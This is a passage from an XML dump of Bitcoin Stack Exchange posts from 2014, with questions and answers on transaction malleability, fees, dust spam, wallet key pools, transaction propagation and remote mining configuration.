rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/ef74c1cbf0003fc4e96a87a59838f7dd3da488d9d83fec3f270b0d3d7c2bc309?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at wiki for more information about scripts: &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2014-02-14T10:07:45.730" LastActivityDate="2014-02-14T10:07:45.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22059" PostTypeId="1" AcceptedAnswerId="22170" CreationDate="2014-02-12T12:03:48.607" Score="7" ViewCount="616" Body="&lt;p&gt;All the recent problems caused by transaction malleability have brought to the center stage the fact that tracking a transaction id is not good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question, what is good enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I can come up with, is to create my own hash of the transaction I want to track before sending it to the network. Let's call that hash &quot;tracking id&quot;. That hash would cover only signed portions of the transaction. The elements hashed would be &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for all inputs: txid, vout&lt;/li&gt;&#xA;&lt;li&gt;for all outputs: amount, address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given the fact that the transaction must still be declared valid by the official client, would this &quot;tracking id&quot; be robust enough to track a transaction no matter how it may have been covertly &quot;adjusted&quot; through transaction malleability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this scheme does not work, do you know of any way that would allow me to safely track the transaction?&lt;/p&gt;&#xA;" OwnerUserId="12455" LastActivityDate="2014-02-14T15:48:16.427" Title="How can I track transactions in a way that is not affected by their malleability?" Tags="|transaction-malleability|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22060" PostTypeId="2" ParentId="9845" CreationDate="2014-02-12T12:22:07.940" Score="1" Body="&lt;p&gt;The bitcoin daemon takes around 24 hours on a good server to sync to the network. During this time CPU usage is very high as it is verifying the blockchain from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once synced, bitcoind is a far lighter program.&lt;/p&gt;&#xA;" OwnerUserId="5657" LastActivityDate="2014-02-12T12:22:07.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22061" PostTypeId="2" ParentId="8011" CreationDate="2014-02-12T12:24:13.057" Score="2" Body="&lt;p&gt;Add some swap space and your problems will disappear.&lt;/p&gt;&#xA;" OwnerUserId="5657" LastActivityDate="2014-02-12T12:24:13.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22062" PostTypeId="2" ParentId="22059" CreationDate="2014-02-12T12:33:12.293" Score="1" Body="&lt;p&gt;It's obvious that given the malleability issue you shouldn't use the transaction hash to track a transaction. If your wallet software needs to track a specific transaction it should check its inputs against the block chain, and track it based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to always rely on the block chain and check inputs/outputs for yourself. Don't rely on the transaction hash for identification purposes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: One way to implement a solution is to track the referenced output instead of the transaction hash. If you get two unconfirmed transactions, that have different hashes but use the same referenced output, you know something fishy is going on. Therefore a good way to start tracking things would be to make sure the referenced outputs (within an input of a transaction) are not being used more than once.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-12T12:52:51.260" LastActivityDate="2014-02-12T12:52:51.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22063" PostTypeId="2" ParentId="8011" CreationDate="2014-02-12T12:36:15.160" Score="1" Body="&lt;p&gt;I think you choose the micro instance because that is for free for one year :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need definitely more RAM on the ec2 instance, here's how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cyberciti.biz/faq/linux-add-a-swap-file-howto/&quot; rel=&quot;nofollow&quot;&gt;http://www.cyberciti.biz/faq/linux-add-a-swap-file-howto/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13394" LastEditorUserId="11369" LastEditDate="2014-02-20T03:33:06.967" LastActivityDate="2014-02-20T03:33:06.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22064" PostTypeId="2" ParentId="8993" CreationDate="2014-02-12T12:46:24.210" Score="0" Body="&lt;p&gt;Only if you use the micro instance with a free account for the first year.&lt;/p&gt;&#xA;" OwnerUserId="13394" LastActivityDate="2014-02-12T12:46:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22067" PostTypeId="1" AcceptedAnswerId="22097" CreationDate="2014-02-12T13:26:43.203" Score="5" ViewCount="216" Body="&lt;p&gt;Are the algorithms used in Ripple vulnerable to &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot;&gt;transaction malleability&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-05-22T17:51:25.130" Title="Is transaction malleability an issue in Ripple?" Tags="|transactions|ripple|transaction-malleability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22068" PostTypeId="1" CreationDate="2014-02-12T13:50:46.457" Score="1" ViewCount="4696" Body="&lt;p&gt;Blockchain.info gives you the options of 'frugal', 'normal' and 'generous' for setting miners fees and leave it slightly vague as to what the transaction fee will ultimately be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use their &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;Make Outgoing Payments API&lt;/a&gt; to send payments but how can I know what they choose as a transaction fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I have 0.01 BTC in my wallet and want to send it all to an address. There won't be enough BTC left over for a fee. What happens then?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2017-05-29T08:54:38.107" Title="How do I find out the miners fee for my transaction using Blockchain.info API?" Tags="|transaction-fees|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22069" PostTypeId="2" ParentId="22068" CreationDate="2014-02-12T14:10:01.793" Score="1" Body="&lt;p&gt;There really isn't a standard fee value. Various clients implement different amounts. For example on my MultiBit installation it's currently set to 0.0001 BTC per 1000 bytes of transaction size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must include a fee otherwise miners won't confirm your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blockchain.info's case, using their API, if you don't have the &lt;code&gt;$fee&lt;/code&gt; parameter, Blockchain.info will automatically add 0.0005 BTC in fee, which is the default value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All transactions include a 0.0005 BTC miners fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you send 0.01 BTC with their API, and don't specify the $fee parameter, it will add a 0.0005 fee to your transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; This means you actually need at least 0.0105 BTC (0.01 + 0.0005) in your wallet to make the transaction. If you want to send all of the 0.01 BTC, you have to actually send 0.0095, otherwise the transaction won't go through.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-12T14:24:38.553" LastActivityDate="2014-02-12T14:24:38.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22070" PostTypeId="1" CreationDate="2014-02-12T14:11:26.500" Score="4" ViewCount="190" Body="&lt;p&gt;After reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22035/i-have-received-0-00000001-btc-random-payment-and-the-status-symbol-is-a-pentagr&quot;&gt;this question&lt;/a&gt; I got interested in these mysterious spammers who sent satoshis randomly. For what I read, here's been plenty of discussion about this, mainly at Bitcoin talk (discussions &lt;a href=&quot;https://bitcointalk.org/index.php?topic=458934.120&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=459529.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=459874.20&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; - in Spanish also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=460004.msg5078260#msg5078260&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, &#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=458536.msg5079562#msg5079562&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=458536.20&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) but also somewhere else on the network (as in &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1xenyd/just_received_weird_tiny_payments_1sochi_1enjoy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got sad when I saw I hadn't received such micro-payments, doubly sad when I read most of such transfers won't ever be included since most miner pools actively avoid collecting such &quot;dust&quot; - so spammer gets his message out for free, even though it may only last for a short while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I wondered - why not &lt;strong&gt;do include&lt;/strong&gt; such dust, so that spammers are harmed economically and stop doing it? Plus, plenty of people would get tiny bits of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the cons? Plus, if I've understood how Bitcoin operates correctly, spammers would end up paying much more in transaction fees than the amounts they actually send - which makes it doubly mysterious to me why not include them.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2023-03-17T23:32:30.323" LastActivityDate="2023-03-17T23:32:30.323" Title="Could Bitcoin dust spam be effectively combatted by actually including it in the block-chain?" Tags="|dust|spam|forced-address-reuse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22071" PostTypeId="1" AcceptedAnswerId="22076" CreationDate="2014-02-12T15:39:00.680" Score="2" ViewCount="167" Body="&lt;p&gt;I have just started mining and in another question of mine it came up, that there can be multiple private keys in a wallet because of defining a backup strategy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand when private keys are created in the wallet?&#xA;If it is specific of the coin / wallet, I am refering to dogecoin wallet application with currently 1 address created in it.&lt;/p&gt;&#xA;" OwnerUserId="13333" LastActivityDate="2014-02-12T16:35:53.793" Title="When are private Keys created on Wallets?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22072" PostTypeId="2" ParentId="22070" CreationDate="2014-02-12T15:43:54.503" Score="1" Body="&lt;p&gt;The transaction fees are optional, the sender can choose to include the fees and the miner can choose the include the transaction. Each transaction that is included increases the size of the block which affects how quickly it can propagate and the size of the entire block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one explanation of why not to include them is because it doesn't profit anyone but the one person that got the dust, and it only profits them a tiny amount. Another explanation is that these total amounts are less than 5430 satoshis, which is the currently accepted smallest possible transaction in the default implementation.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="2630" LastEditDate="2014-02-12T18:21:45.287" LastActivityDate="2014-02-12T18:21:45.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22073" PostTypeId="2" ParentId="8993" CreationDate="2014-02-12T15:50:06.313" Score="1" Body="&lt;p&gt;Yes it can be worth it, but generally what happens is if it ever is worth it then a huge number of people start doing it until the prices of EC2 are driven up and it is no longer profitable. Here is a good blog post about the subject:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://da-data.blogspot.com/2013/12/briefly-profitable-alt-coin-mining-on.html&quot; rel=&quot;nofollow&quot;&gt;http://da-data.blogspot.com/2013/12/briefly-profitable-alt-coin-mining-on.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2014-02-12T15:50:06.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22075" PostTypeId="2" ParentId="8572" CreationDate="2014-02-12T16:19:27.950" Score="-1" Body="&lt;p&gt;My 5 cents:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Through developers elite, who now have access to commit to main branch.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One day, source of bitcoin will different from Satoshi's code in more than 90%.&#xA;Little injection to the bitcoin's code will give access to &lt;strong&gt;kill-switch&lt;/strong&gt; the network of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With hypothetical backdoors in compilers, already placed by powerful elite. Much, much more... &lt;/p&gt;&#xA;" OwnerUserId="13087" LastActivityDate="2014-02-12T16:19:27.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22076" PostTypeId="2" ParentId="22071" CreationDate="2014-02-12T16:30:18.243" Score="2" Body="&lt;p&gt;In the default Bitcoin client, and most clients based on it (&lt;a href=&quot;https://github.com/dogecoin/dogecoin/blob/87c59cadb1953f88a680e656bce334ed39b44a49/src/wallet.cpp&quot; rel=&quot;nofollow&quot;&gt;including Dogecoin-QT&lt;/a&gt;), 100 private &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;keys are pre-generated&lt;/a&gt;, so that the wallet you backup is useful both for existing and some future transactions (roughly 50 transactions, assuming you receive on a new address and send change to a new address each time). When you ask the client to generate an address for you, it pulls from a private key from this pool (and generates another to put the pool back up to 100 at some point), from which a public key and address can be calculated. This pool size is configurable in your .conf file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # Pre-generate this many public/private key pairs, so wallet backups will be valid for&#xA; # both prior transactions and several dozen future transactions.&#xA; #keypool=100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-12T16:35:53.793" LastActivityDate="2014-02-12T16:35:53.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22077" PostTypeId="1" AcceptedAnswerId="22084" CreationDate="2014-02-12T16:35:03.657" Score="1" ViewCount="137" Body="&lt;p&gt;&lt;a href=&quot;https://f-droid.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;F-Droid&lt;/a&gt; is offering an update to &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wallet&lt;/a&gt;, but when I try to update, the following message is shown. I haven't found any official news from the author about this key change. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ADvuD.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13402" LastEditorUserId="5406" LastEditDate="2016-01-05T13:35:57.897" LastActivityDate="2016-01-05T13:35:57.897" Title="New version of Bitcoin Wallet is signed with a different key" Tags="|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22078" PostTypeId="1" AcceptedAnswerId="22079" CreationDate="2014-02-12T17:19:52.217" Score="2" ViewCount="249" Body="&lt;p&gt;while trying to understand the address validation process, I fell upon this block : &lt;a href=&quot;https://blockchain.info/tx/3d29f43a3278281192943276049c15e5f0d8c7e75d4d99a4cd6693113a948f48&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/3d29f43a3278281192943276049c15e5f0d8c7e75d4d99a4cd6693113a948f48&lt;/a&gt;&#xA;In the outputs, the first two are regular pay-to-hash, but the last one is a pay-to-pubKey (the block was mentioned by the developers from blockchain.info as a bad solution to embed an ASCII message in the blockchain). My question is : as this pubKey is invalid, where does the address (1Du8MpTTV4VrQMHtgP4mG1Fq9q3ykb3L8h) come from ?&#xA;I could not manage to get it by hashing the pubKey...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="13404" LastActivityDate="2014-02-12T17:48:36.820" Title="Why is an invalid pubkey accepted in the blockchain?" Tags="|transactions|protocol|script|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22079" PostTypeId="2" ParentId="22078" CreationDate="2014-02-12T17:48:36.820" Score="0" Body="&lt;p&gt;&lt;strong&gt;Why is an invalid pubkey accepted in the blockchain?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was intended as a message, not as a public key.&#xA;It is accepted in the blockchain because it is a valid output script, whether or not it is spendable is not relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where does the address 1Du8MpTTV4VrQMHtgP4mG1Fq9q3ykb3L8h come from?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That address is a result of the software blockchain.info uses to generate an address from an output script. Why or how that works is something you'll have to ask whoever wrote it.&lt;/p&gt;&#xA;" OwnerUserId="7458" LastActivityDate="2014-02-12T17:48:36.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22080" PostTypeId="2" ParentId="22077" CreationDate="2014-02-12T18:00:24.727" Score="0" Body="&lt;p&gt;If you have no official information on the original website about this change you should not update the app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this version is a malware you could (and probably will) lose all your bitcoins. &lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2014-02-12T18:00:24.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22082" PostTypeId="1" CreationDate="2014-02-12T18:47:27.470" Score="0" ViewCount="977" Body="&lt;p&gt;What percentage of Bitcoin transaction volume is due to people actually buying stuff (&quot;goods&quot;) versus between traders, investors and speculators?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of the &quot;goods&quot; volume, what percentage is for illicit purposes (drugs, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these percentages relevant to the future success of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="13303" LastActivityDate="2017-06-15T19:34:08.497" Title="How much Bitcoin volume is for purchasing stuff versus trading/speculation/investment?" Tags="|trading|economic-theory|bitcoin-economy|investing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22083" PostTypeId="1" CreationDate="2014-02-12T18:54:58.900" Score="4" ViewCount="162" Body="&lt;p&gt;Is there any website where I can find a comparison of different altcoins by features?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in hashrate, price, difficulty, but rather in implemented features such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Used difficulty retargeting algorithm&lt;/li&gt;&#xA;&lt;li&gt;Anonymous blockchain&lt;/li&gt;&#xA;&lt;li&gt;Encrypted transaction network&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4726" LastEditorUserId="5406" LastEditDate="2014-02-13T14:53:52.273" LastActivityDate="2014-02-14T09:14:21.420" Title="Is there a website that compares the features of different cryptocoins?" Tags="|alternatives|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22084" PostTypeId="2" ParentId="22077" CreationDate="2014-02-12T19:28:03.357" Score="3" Body="&lt;p&gt;I don't have an account, but just popping in to clear this up. F-Droid repos sign all of the published apps with a separate, private key. For obvious reasons, that key is not the same as the one used by upstream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't we use the same key as upstream? Because we compile the apps ourselves, and because we can't expect upstream devs to always sign our built apks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, this has nothing to do with upstream. You should either stick with his builds or with F-Droid's, but mixing them will result in signing key conflicts.&lt;/p&gt;&#xA;" OwnerUserId="13407" LastActivityDate="2014-02-12T19:28:03.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22086" PostTypeId="2" ParentId="22059" CreationDate="2014-02-12T21:01:09.470" Score="0" Body="&lt;p&gt;Once a transaction has 1 confirmation the Tx hash becomes immutable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tx hashes are widely used to track transactions (e.g., blockchain.info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I would rephrase your question to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I track a transaction from creation to 1 confirmation and capture the Tx hash that has been confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that's the right question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I'd specify that the solution should be implementable by the bitcoind API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... If I create Tx1 what API call should I use to determine if Tx1 has 1 confirmation?&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-02-12T21:01:09.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22087" PostTypeId="1" AcceptedAnswerId="22090" CreationDate="2014-02-12T21:27:06.447" Score="7" ViewCount="5726" Body="&lt;p&gt;I am trying to understand Bitcoin at a more fundamental level. I'd like to know how a new transaction enters and propagates across the network? I've read many Bob and Alice type scenarios where it's said that &quot;the transaction is broadcast to the network&quot;. If there are many nodes on the Bitcoin network, how does the wallet know which node to initially broadcast the transaction to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for clarification, I'm referring to the process of sending from the client wallet (e.g. Mycelium on Android) to Node 1, before it gets propagated to all other nodes. How does my wallet know which node to send to first, or does it just randomly pick one?&lt;/p&gt;&#xA;" OwnerUserId="11209" LastEditorUserId="11209" LastEditDate="2014-02-12T21:51:33.527" LastActivityDate="2014-02-12T21:56:59.213" Title="How does a bitcoin transaction enter the network?" Tags="|transactions|wallet|sending|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22088" PostTypeId="2" ParentId="22087" CreationDate="2014-02-12T21:38:26.983" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;A node learns about a new transaction, either from a peer or of it's own creation. &lt;/li&gt;&#xA;&lt;li&gt;It announces to every one of it's peers (8+ typically) with an &lt;code&gt;inv&lt;/code&gt;entory message that it has learned about a transaction or block with a particular ID. &lt;/li&gt;&#xA;&lt;li&gt;If the connected peer doesn't already know about the announced transaction, it sends a &lt;code&gt;getdata&lt;/code&gt; request back asking for the contents of the transaction. If it already knows about the transaction, no &lt;code&gt;getdata&lt;/code&gt; is made in response.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Within a few seconds (less than 5s on average currently) every peer in the network has the relayed transaction. This is possible because of the mesh layout of the network, every node connects to every other node through some degree of separation. The design makes it incredibly difficult to determine if a node created a transaction or is just relaying it, this is by design.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-12T21:38:26.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22089" PostTypeId="2" ParentId="22059" CreationDate="2014-02-12T21:54:45.410" Score="3" Body="&lt;p&gt;The signing hash is immutable, since that's precisely what you signed. Using the signing hash to track the transaction should ensure you are not vulnerable to any malleability attacks.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-12T21:54:45.410" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="22090" PostTypeId="2" ParentId="22087" CreationDate="2014-02-12T21:56:59.213" Score="7" Body="&lt;p&gt;I'd suggest you read this blog post about using the raw Bitcoin protocol: &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, you should specifically read the &quot;How to find peers&quot; section of that post. Specifically this part:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There's a chicken-and-egg problem, though, of how to find the first&#xA;  peer. Bitcoin clients solve this problem with several methods. Several&#xA;  reliable peers are registered in DNS under the name bitseed.xf2.org.&#xA;  By doing a nslookup, a client gets the IP addresses of these peers,&#xA;  and hopefully one of them will work. If that doesn't work, a seed list&#xA;  of peers is hardcoded into the client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The hardcoded peer list in the Bitcoin client is in &lt;code&gt;chainparams.cpp&lt;/code&gt; in&#xA;  the array pnseed. For more information on finding Bitcoin peers, see&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3536/how-bitcoin-clients-find-each-other&quot;&gt;How Bitcoin clients find each other&lt;/a&gt; or &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi client node discovery&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-02-12T21:56:59.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22091" PostTypeId="2" ParentId="22070" CreationDate="2014-02-12T22:19:02.407" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;why not do include such dust, so that spammers are harmed economically&#xA;  and stop doing it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm still not sure that would be enough to prevent this kind of spam activity. Even if these transactions were committed to the blockchain, 100,000,000 such broadcasts could be made from 1 BTC, that's a lot of reach for $700.&lt;/p&gt;&#xA;" OwnerUserId="11209" LastActivityDate="2014-02-12T22:19:02.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22092" PostTypeId="1" AcceptedAnswerId="22094" CreationDate="2014-02-12T22:27:28.050" Score="4" ViewCount="457" Body="&lt;p&gt;With all these reports of people receiving spam through dust transactions (e.g. Enjoy Sotchi, Bitwars etc) what would be the implications of setting a minimum transaction amount on the network? Why would anybody wish to send 1 Satoshi (0.00000001 BTC) it seems to have almost no economic benefit? Would such a limit disrupt any legitimate activity on the network?&lt;/p&gt;&#xA;" OwnerUserId="11209" LastActivityDate="2014-02-12T22:56:39.640" Title="Should there be a minimum transaction limit to prevent dust spam?" Tags="|transactions|blockchain|dust|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22093" PostTypeId="1" CreationDate="2014-02-12T22:43:52.337" Score="0" ViewCount="3022" Body="&lt;p&gt;For educational purposes only...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&#xA;My friend and I want to solo mine on 1 wallet. But, his computers are not on\in my LAN network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet has been set to server mode:&#xA;-server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin.conf&lt;br&gt;&#xA;rpcuser=user&lt;br&gt;&#xA;rpcpassword=pass&lt;br&gt;&#xA;server=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer settings:&#xA;-o localhost:port -u user -p name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for solo mining on just my computer. But how can I change it so that he can connect to my Bitcoin wallet from another state which is obviously outside my LAN?&lt;/p&gt;&#xA;" OwnerUserId="13414" LastEditorUserId="5406" LastEditDate="2016-04-25T20:29:58.073" LastActivityDate="2016-04-25T20:29:58.073" Title="Connecting to Bitcoin wallet outside of LAN to 'Solo' Mine" Tags="|wallet|miner-configuration|solo-mining|server|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22094" PostTypeId="2" ParentId="22092" CreationDate="2014-02-12T22:56:39.640" Score="4" Body="&lt;p&gt;There already is a limit of 5460 satoshi. It's unlikely any transaction smaller than this will be ever relayed or included in a block without colluding with a miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b78d1cdf82fb12cc0c8eb9049074b359b9589b7c/src/core.h#L153&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/b78d1cdf82fb12cc0c8eb9049074b359b9589b7c/src/core.h#L153&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-12T22:56:39.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22095" PostTypeId="2" ParentId="22093" CreationDate="2014-02-12T23:26:06.373" Score="1" Body="&lt;p&gt;You just need to throw this into your bitcoin.conf&#xA;&lt;code&gt;rpcallowip=1.1.1.34&lt;/code&gt; where the allowed ip is your friends and also make sure the port isn't going to be blocked by the router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it solo mining? When there is a second party it now becomes pooled mining.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-12T23:26:06.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
